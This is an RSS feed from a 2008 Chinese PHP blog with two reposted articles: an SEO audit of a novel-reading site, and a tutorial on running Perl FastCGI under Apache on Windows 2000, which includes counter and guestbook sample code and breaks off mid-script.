﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客--$-$--外包工--$-$-</title><link>http://www.phpweblog.net/temptation/</link><description /><language>zh-cn</language><lastBuildDate>Mon, 13 Oct 2008 11:42:02 GMT</lastBuildDate><pubDate>Mon, 13 Oct 2008 11:42:02 GMT</pubDate><ttl>60</ttl><item><title>【转】 某网站的一篇SEO评测报告</title><link>http://www.phpweblog.net/temptation/archive/2008/01/14/2683.html</link><dc:creator>temptation</dc:creator><author>temptation</author><pubDate>Mon, 14 Jan 2008 06:27:00 GMT</pubDate><guid>http://www.phpweblog.net/temptation/archive/2008/01/14/2683.html</guid><wfw:comment>http://www.phpweblog.net/temptation/comments/2683.html</wfw:comment><comments>http://www.phpweblog.net/temptation/archive/2008/01/14/2683.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/temptation/comments/commentRss/2683.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/temptation/services/trackbacks/2683.html</trackback:ping><description><![CDATA[<p style="COLOR: #008000"><span style="COLOR: #ff0000">一、网站整体布局结构</span><br>网站使用了传统的html4结构代码，大量繁冗无用的垃圾代码会导致不利于搜索引擎抓取分析网页。而采用xhtml来设计网站是SEO所推荐的，首先可以精简大量的代码，提高用户访问速度和搜索引擎抓取分析的效率。其次xhtml标准的许多代码和元素是搜索引擎喜欢的。例如在对待&lt;strong&gt;和&lt;b&gt;上，搜索引擎更倾向于前者，&lt;strong&gt;、h1,h2,h3,h4,h5,h6、alt、title等元素都是SEO中的构成部分。<br>怎样改版？<br>1，合理的页面布局。推荐网站改版时使用xhtml标准，能够做到div+css更佳，但是不拘泥于使用全div+css来重构网站。一个符合SEO规范的网站，从标题、导航、菜单、链接、内容以及其他要素都需要经过精心设计、合理的分布，做到以引导搜索引擎抓取分析和不影响关键字密度为原则，尽量在将利于突出关键词的代码放在网页代码的前部，使搜索引擎能够及时分析页面的重要内容。<br>2，精简的网页代码。为什么在SEO中推崇xhtml标准，或者说为什么在搜索引擎优化中使用div+css能够提高搜索引擎排名，就是因为div+css能够大量的精简页面代码，将设计部分剥离出来放在一个独立样式文件中，HTML文件中只存放文本信息，这样搜索引擎会更有效地搜索到网页的实质内容，得到更高的权重。<br>3，CSS与页面相分离。有不少网站，在设计时将css部分放置在页面代码中，这样做严格的来说是不符合W3C的xhtml规范的，同时也不利于搜索引擎的抓取分析，降低了页面对搜索引擎的友好度。最佳的做法是将css部分封装在一个外部的.css文件中，在页面中以 的方式调取。<br>4，Flash和图片的使用。SEO中常说要尽量避免在页面中使用Flash和图片，因为flash和图片中所包含的文字是搜索引擎无法抓取的，虽然目前google宣称能够抓取Flash中的内容。但是在我看来，能够抓取的文字也只是一部分。还有图片，目前没有一个搜索引擎能够识别图片中的文字内容。所以在网页改版时，要避免在导航、链接中使用flash和图片，因为在导航、链接中使用flash和图片会大大的影响搜索引擎的抓取。同时，如果flash和图片中包含了关键字，对搜索引擎优化来说是个损失。当然我们并不应该一味的排斥Flash和图片的使用，在网站改版中，将一些无用的文字部分使用flash和图片反而能够提高关键字的密度，精简内容。<br>5，javascript与iframe。在改版时要尽量避免使用大量的javascript来实现页面华丽的特效，例如导航下拉菜单、文字特效、鼠标效果等等。因为这样的javascript特效带来了大量的垃圾代码，对于使用javascript的下拉菜单，还大大的影响了搜索引擎的抓取。同时还要尽量避免使用框架即iframe，使用iframe将一个页面分割成几个页面会大大降低搜索引擎的友好度，关键字密度也随之下降。不过如果javascript和iframe使用得当，还是很有好处的。在改版中可以合理利用javascript和iframe来隔离无用的代码和文字信息，具体办法是将javascript与页面相分离，以外部调取的方式。<br>6，标签的合理使用。H1,h2,h3,h4等标签能够在搜索引擎排名中占据一定的权重，改版中可以将网站的标题使用h1标签，其他关键的部分如包含关键字的栏目名称、导航等等可以合理的使用h2,h3,h4等标签。使用中要避免堆积，如果h1,h2等标签泛滥，则在排名中的作用将大大的降低。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">二、首页url重定向的问题</span><br>网站首页使用了302重定向，由<a href="http://www.xxx.com/">http://www.xxx.com</a>重定向到了<a href="http://www.xxx.com/xxx.html">http://www.xxx.com/xxx.html</a>。这样对在搜索引擎排名是个损失。就算网站得到了大量的外部链接，但是却没有传递到<a href="http://www.xxx.com/xxx.html">http://www.xxx.com/xxx.html</a>。最佳的做法是首页直接使用<a href="http://www.xxx.com/">http://www.xxx.com</a>，而不重定向到<a href="http://www.xxx.com/xxx.html">http://www.xxx.com/xxx.html</a>。或者使用301重定向将<a href="http://www.xxx.com/">http://www.xxx.com</a>重定向到<a href="http://www.xxx.com/xxx.html">http://www.xxx.com/xxx.html</a>，这样对google效果较大，但是对百度没什么大的影响。<br>术语解释：302重定向（302 redirect）代表暂时性转移(Temporarily Moved )，302重定向由于前两年被不少黑帽SEO用来作弊，后来搜索引擎加大了对302重定向作弊的打击力度，即使网站客观上不是作弊，也很容易被搜寻引擎容易误判为作弊而遭到惩罚。对于google而言，301重定向能够传递页面的PR值，对于稳定页面的排名有一定的帮助，而对于百度，虽然301重定向对排名没有多大的帮助，但也是较为友好的一种重定向方式。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">三、首页头部信息</span><br>Keywords部分内容为&#8220;小说,言情小说,玄幻小说&#8221;，这样的内容过于简单，还有扩充的余地，可以扩充为6—8个关键词，例如&#8220;小说,言情小说,玄幻小说,小说阅读,在线小说,魔幻,校园,仙侠&#8221;但不宜过于堆积。<br>Description部分也有扩充的余地，字数不宜过多，但是也不宜过少，可以增加为100—150字的一段描述，而description应为一段针对keywords或者说页面的描述，要围绕keywords或者页面主题进行描述，撰写描述时一定要将关键字合理分布，不应出现大量堆积关键字的现象。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">四、大量的动态url</span><br>网站中使用了大量的动态url。<br>如（<a href="http://www.xxx.com/List.do?action=bookForumTopics&amp;bid=xxxx">http://www.xxx.com/List.do?action=bookForumTopics&amp;bid=xxxx</a>），动态url不利于搜索引擎收录，搜索引擎更喜欢收录静态url，因为动态url会给搜索引擎的收录带来难度，大大的增加搜索引擎抓取分析页面的工作量，虽然搜索引擎是机器，但是在搜索引擎的抓取机制中，如果搜索引擎遇到大量对搜索引擎不友好的因素，会使得搜索引擎放弃抓取。<br>如果程序后台不能将动态url改为生成html的方式，或者由于部分页面更新性较强，不停地生成html会大量增加服务器负担，则可以使用URL重写（rewrite），这样几乎可以不用修改程序就实现将topicList.do?action=bookForumTopics&amp;bid=xxxx这样的链接映射成book/xxxx.html的格式。虽然rewrite也会给服务器增加一定的负担，但是相对于不停的生成html，这样的影响几乎可以忽略不计。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">五、title=&#8221;&#8221;和alt=&#8221;&#8221;</span><br>网站的文字链接部分和图片，没有使用title=&#8221;&#8221;和alt=&#8221;&#8221;注释，在搜索引擎的算法中，虽然alt与title属性所占的比例不大，但是无细流何以汇聚成江海？所以在链接文字的title注释以及图片注释使用相关的关键字填充是SEO的基本功。建议将alt与title属性填充为相关的关键字，切记是相关的关键字，而不是为了关键字而刻意的堆积。链接的使用例如：&lt;a href=http://www.xxx.com/book/xxx.html title="浊沌之王"&gt;浊沌之王&lt;/a&gt;；图片的使用例如：&lt;img src=" /image.gif" alt=&#8221;逍遥小说网&#8221;/&gt;。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">六、javascript造成搜索引擎抓取困难</span><br>1，在网站首页的逍遥小说大事件这一部分中注意到，对链接采用了javascript的格式，而对于搜索引擎来说，javascript中的链接如&lt;a href="javascript:viewNews(news[1].id);"print(showString(news[1].title,20))&gt;;，并不能分析javascript中的实际链接地址，如果这一部分没有必要被搜索引擎抓取，则可以甚至建议使用，因为这样提高了关键字在网站中的比重，增加了相关性，但是如下所说，改为js外部调用的方式更佳。而如果希望被搜索引擎抓取或者包含关键字对排名有作用，则应取消javascript这种链接方式。<br>2，首页中大量使用了javascript特效，且整个首页的代码中随意分布，这样对SEO来说是大忌，因为这样大大的增加了搜索引擎的分析难度，不利于提高网站的排名。建议取消大量的javascript特效，如果是必须使用的javascript特效，则建议将javascript中的内容封装在一个js文件中，改为外部调用的方式。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">七、其他页面存在的问题：</span><br>1，内容页的title顺序。<br>网站内容页的title顺序目前为：书名—第X卷—章节名内容—网站名，这样不符合用户的搜索引擎表现行为和搜索引擎排名规则。对于搜索引擎排名的原则来说，合理的title顺序应为：章节名内容—第X卷—书名—网站名，如果能实现为：内容—章节—第X卷—书名—网站名更佳。<br>2，内容页的keywords与description问题。<br>Keywords建议改为&#8221;内容标题,书名,章节&#8221;的格式。<br>Description建议改为&#8220;（title除网站名外的全部）在线阅读：（正文截取前150个字）&#8221;的格式。<br>3，内容页的垃圾代码。<br>首先建议将页面顶部的图片样式javascript部分放置页面代码最底部，或者改为js外部调用；<br>其次，将用户选背景、文字、大小、行距等那一部分改为js外部调用；<br>再次，将正文之上的正文标题由&#8220;&lt;td&gt;正文标题&lt;/td&gt;&#8221;改为&lt;h1&gt;标签，即&#8220;&lt;td&gt;&lt;h1&gt;正文标题&lt;/h1&gt;&lt;/td&gt;&#8221;。<br>4，书名页（作品页）的keywords与description问题。<br>Keywords建议改为&#8221;书名,书名阅读,在线阅读书名&#8221;的格式，例如&#8220;奇门药典录, 奇门药典录阅读,在线阅读奇门药典录&#8221;<br>Description建议改为&#8220;书名最新章节在线阅读。书名+简介：（截取前150个字）。书名+作者：&#8221;的格式，例如&#8220;奇门药典录最新章节在线阅读。奇门药典录简介：杜小凤，原本一个平凡落魄的少年，无意中得到道家至宝——真悟元经，命运从此发生彻底的转变，而他的人生，将注定不再平凡，他的道路，将与荣耀、凶险为伴。奇门药典录作者：六道&#8221;。<br>5，书名页（作品页）其他。<br>首先，建议将&#8220;总点击: 、本月点击:&#8221;等内容改为js外部调用。<br>其次，建议将作品简介左侧的图片加上alt注释，名称为书名。<br>再次，建议将&#8220;重要提示&#8221;部分的内容改为js外部调用，提高关键字的相关性。<br>第四，建议将书名改为h1标签。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">八、登录才能查看的页面问题</span><br>根据搜索引擎的抓取原理，搜索引擎是以游客的身份来抓取页面以及抓取页面中的链接，而如果一个页面设置了登录才能查看的限制，则搜索引擎不能抓取该页面的内容。建议在此方面有所取舍，在保持搜索引擎收录和排名的同时，又能提高收益。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">九、链接的建设</span><br>链接在搜索引擎排名中占有相当大的比重，而要提高搜索引擎排名，除了做好网站内部优化工作之外，还要做好链接工作。<br>链接建设分为内链建设和外链建设，两者皆不能忽视。重视外部链接建设的同时也不能忽略内部链接的建设。而内部链接建设主要在页面中寻找匹配的关键词，再反向链接至相关页面。例如《五月花的飘落》的url为<br><a href="http://www.xxx.com/book/xxx.html">http://www.xxx.com/book/xxx.html</a>，则在包含有相关关键字的页面中，可以使用反向链接将该关键字链接至<a href="http://www.xxx.com/book/xxx.html">http://www.xxx.com/book/xxx.html</a>。在使用内部链接策略时，切忌不要把所有的关键词都指向首页。而只有首页的主打热门关键字才应该做反向链接至首页。<br>而在外部链接建设中，要注意链接的质量，尽量的寻找一些高质量的链接，观察一个网站是否高质量的链接，可以通过查看该网站的PR值、在搜索引擎中收录数量的多少、排名情况等等。尽量与对方交换首页链接，以文字链接为主，文字中须包含关键字，避免javascript方式的链接以及跳转链接。在链接建设中要坚持，每天增加一定的链接。</p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">十、开放式目录的登录</span><br>最为知名的为dmoz，尽量的登录dmoz、yahoo、hao123，265等网站，能够提高网站在搜索引擎中的权重。<br></p>
<img src ="http://www.phpweblog.net/temptation/aggbug/2683.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/temptation/" target="_blank">temptation</a> 2008-01-14 14:27 <a href="http://www.phpweblog.net/temptation/archive/2008/01/14/2683.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】 Windows2000下实现FastCGI(PERL版)</title><link>http://www.phpweblog.net/temptation/archive/2007/12/13/2532.html</link><dc:creator>temptation</dc:creator><author>temptation</author><pubDate>Thu, 13 Dec 2007 09:08:00 GMT</pubDate><guid>http://www.phpweblog.net/temptation/archive/2007/12/13/2532.html</guid><wfw:comment>http://www.phpweblog.net/temptation/comments/2532.html</wfw:comment><comments>http://www.phpweblog.net/temptation/archive/2007/12/13/2532.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/temptation/comments/commentRss/2532.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/temptation/services/trackbacks/2532.html</trackback:ping><description><![CDATA[<p style="COLOR: #008000">作者 ：王骜骋<br><br><span style="COLOR: #ff0000">什么是CGI？ </span><br>&nbsp;&nbsp;&nbsp; 最早的网页都是静态的，好在有了CGI(通用网关接口)的帮助下，网站个个都变的活灵活现，像目前网站上在用的留言本，论坛，聊天室等东西很多都用CGI来完成的。CGI只是一种接口，并不是一种编程的语言，但是CGI几乎可以接受所有的编程语言去编写它，比如C/C++、VB、SHELL等等，但是其中最流行的是PERL(骆驼) ，PERL的文字处理功能非常强大，作者开发它的目的最先也是为了处理文字报表等信息，它是一种解释性的语言，操作平台的可移植性、兼容性也很强，比如WINDOWS、*NUX、OS/2、VMS等等 ，使用这种语言编写程序需要在操作系统上安装PERL的解释器，要执行脚本的话，PERL解释器会被调用，然后一行一行的做解析(关于PERL的安装、调试请参考相关网站或书籍，这里不多说)。 </p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">什么是FastCGI? </span><br>&nbsp;&nbsp;&nbsp; 时代在进步，技术在更新！我们的网站越做越大，后台使用的数据库规模也逐渐增加，系统资源和网络开销成为了难题，如果再购买硬件设施(比如专业的应用程序服务器)，这会投入一笔不小的资金，但是如果不及时解决，遇到了突法性的网络事件又会经常当机，这会给网站带来巨大的无形损失。<br>&nbsp;&nbsp;&nbsp; PERL虽然说是一种方便、快速的东西，但是遇到今天的大型网络，也有点吃不消了，因为CGI的程序每次执行时都要花费时间去复制一个新的进程，这会占用过多的资源。<br>&nbsp;&nbsp;&nbsp; 就因为这样一种叫FastCGI的东西横空出世了，FastCGI是一个内存常驻(long-live)型的CGI，它利用内存高速的原理，在编程中进行循环结构把程序寄放在内存中，只要启动后，它可以一直执行着，从而大量提高程序的运行速度，和CPU、内存的占用时间，这里大家可以想想内存读取和硬盘读取的速度差异所在。这样而来系统就会更快的返回用户的请求，也就是说可以同时拥有更大的并发能力，接受更多的用户。 </p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">如何在WIN2K上进行安装? </span><br>&nbsp;&nbsp;&nbsp; 以前讨论*NUX上安装FastCGI的文章比较多，我这里就不再介绍了。我们今天来看看怎么在WIN2K上安装它。目前我使用的WIN2K是Server(服务器)版和APACHE WEB SERVER。<br>&nbsp;&nbsp;&nbsp; 我们采取一种简便的方式在APACHE上安装FastCGI，这里我们不需要进行编译，直接使用编译好的DLL文件，文件下载的地方请看文章尾部(下载一)。 <br>&nbsp;&nbsp;&nbsp; DOWN下来后，把这个文件复制到x:\Apache\modules(x:代表你安装APACHE的盘符)，下一步是配置APACHE的 <br>&nbsp;&nbsp;&nbsp; CONFIG文件以加载FastCGI模块，用文本打开x:\Apache\conf\httpd.conf，在其中加入以下两行： <br>&nbsp;&nbsp;&nbsp; LoadModule fastcgi_module modules/mod_fastcgi.dll <br>&nbsp;&nbsp;&nbsp; AddHandler fastcgi-script .fcgi .fpl <br>&nbsp;&nbsp;&nbsp; 以上第一行是说，在APACHE启动的时候自动载入mod_fastcgi.dll模块，第二行是说FastCGI的文件识别名称， <br>&nbsp;&nbsp;&nbsp; 好让系统知道哪些是FastCGI脚本，应该怎么去打开它(这里我们定义了两个文件后缀fcgi和fpl，当然你也可 以自己增加其他后缀)。就这样最简单的APACHE FastCGI配置就已经完成了。 </p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">完成您的第一个FastCGI程序! </span><br>&nbsp;&nbsp;&nbsp; 用PERL写FastCGI是最方便不过了，有的只需要增加(修改)几行代码即可完成。下面我们来完成第一个FastCGI 程序。<br>&nbsp;&nbsp;&nbsp; 现在大部分都使用ActivePerl的PERL解释器，如果你还没有，请下载一个吧(下载二)，FastCGI在PERL中 的实现我们采用一个名称叫FCGI的软件包(下载三)，这个包中提供了一些基本的FastCGI函数，下面来进行安装 这个包，把FCGI.zip解压到任意目录，进入该目录后使用以下命令进行安装： <br>ppm install FCGI.ppd <br>&nbsp;&nbsp;&nbsp; 如果无以外就说明该软件包已经成功安装在你的系统中，然后该轮到写程序的时候了，我们这里写一个最简单的 计数器程序，程序代码如下： </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!perl&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#######################&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;FastCGI&nbsp;计数器演示&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;作者&nbsp;：王骜骋&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#######################&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">use</span><span style="COLOR: #000000">&nbsp;FCGI;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;使用FCGI模块&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$count</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">0</span><span style="COLOR: #000000">;&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;初始化变量$count为值0&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;(FCGI</span><span style="COLOR: #000000">::</span><span style="COLOR: #0000ff">accept</span><span style="COLOR: #000000">()&nbsp;</span><span style="COLOR: #000000">&gt;=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800000">0</span><span style="COLOR: #000000">)&nbsp;{&nbsp;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;让程序进入循环状态&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;FCGI::accept&nbsp;是FCGI包中的函数&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;用来接受一个连接，如果连接成功则返回0&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">Content-Type:text/html\n\n</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;申明内容类型为HTML&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">你是第</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$count</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;输入计数器的值并增加1&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">位访问者</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}</span></div>
<p style="COLOR: #008000">把以上程序拷贝到一个后缀为fcgi或fpl的文件中，然后在浏览器中执行它即可。<br>这时你按刷新就能看到计数器的值在不断的向上增加，通过这个原理，我们可以做出更多更好的程序，下面我们介绍一下留言本的编写技巧和原理。 </p>
<p style="COLOR: #008000"><span style="COLOR: #ff0000">FastCGI的编程技巧! </span><br>&nbsp;&nbsp;&nbsp; 以上的程序只是一个简单的计数器，如果真正投放到应用中，我们也不能只写计数器呀。<br>&nbsp;&nbsp;&nbsp; 下面我们来谈谈FastCGI编 些留言本的一些使用技巧，编写留言本不像计数器只增加数字就可以了，留言本有很多字段，最简单的也要包含姓名 和内容，这样一来，访问时候就会带有很多参数值，FastCGI在获取这些参数值的时候和一般的PERL程序不一样，因 为FastCGI程序一直在内存中工作，<br>如果使用一般的参数读取方法，很容易产生混淆，以导致程序无法正常工作。<br>所以 我们使用另外一个模块CGI中的子集Fast(备注：CGI是一个相当出名的模块，其中包含的函数相当丰富，比如上传、获 取表单、浏览器COOKIE值、Server Push等等)，下面来看看留言本的编写过程： </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">#</span><span style="COLOR: #008000">!perl&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#######################&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;FastCGI&nbsp;留言本演示&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;文件名称：guest.fcgi&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#&nbsp;作者&nbsp;：王骜骋&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#######################&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">use</span><span style="COLOR: #000000">&nbsp;CGI</span><span style="COLOR: #000000">::</span><span style="COLOR: #000000">Fast&nbsp;qw(</span><span style="COLOR: #000000">:</span><span style="COLOR: #000000">standard);</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;使用CGI模块的FastCGI子集&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$data_file</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">data.txt</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;指定数据库文件名称&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cgi</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;new&nbsp;CGI</span><span style="COLOR: #000000">::</span><span style="COLOR: #000000">Fast)&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">Content-Type:text/html\n\n</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">my</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$rw</span><span style="COLOR: #000000">);</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;本地变量申明&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #800080">$rw</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$cgi</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">param(</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">rw</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">);</span><span style="COLOR: #008000">#</span><span style="COLOR: #008000">&nbsp;读取表单值，判断是读取还是写入&nbsp;</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(</span><span style="COLOR: #800080">$rw</span><span style="COLOR: #000000">&nbsp;eq&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">r</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$rw</span><span style="COLOR: #000000">&nbsp;eq&nbsp;</span><span style="FONT-WEIGHT: bold; COLOR: #000000">""</span><span style="COLOR: #000000">)&nbsp;{&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">print</span><span style="COLOR: #000000">&nbsp;qq</span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">form&nbsp;name</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">""</span><span style="COLOR: #000000">&nbsp;action</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">guest.fcgi</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">姓名：&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">input&nbsp;type</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">text</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;name</span><span style="COLOR: #000000">=</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="FONT-WEIGHT: bold; COLOR: #000000">name</span><span style="FONT-WEIGHT: bold; COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">p</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000">&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: 